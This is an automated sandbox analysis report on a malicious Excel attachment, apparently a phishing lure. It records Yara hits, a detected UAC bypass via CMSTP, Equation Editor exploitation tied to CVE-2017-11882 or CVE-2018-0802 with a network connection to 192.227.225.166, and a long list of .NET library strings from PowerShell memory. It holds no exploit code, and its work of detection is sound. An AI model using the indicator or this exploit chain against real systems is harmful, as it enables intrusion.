Windows Analysis Report
#U00d6DEME TAVS#U0130YES#U0130.xls

Machine Learning detection for sample

Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

Joe Sandbox ML: detected

Source: powershell.exe, 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_a8541f93-1

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 192.227.225.166 Port: 80

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe

Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465834/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465838/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465860/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465861/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465864/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Document exploit detected (process start blacklist hit)

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
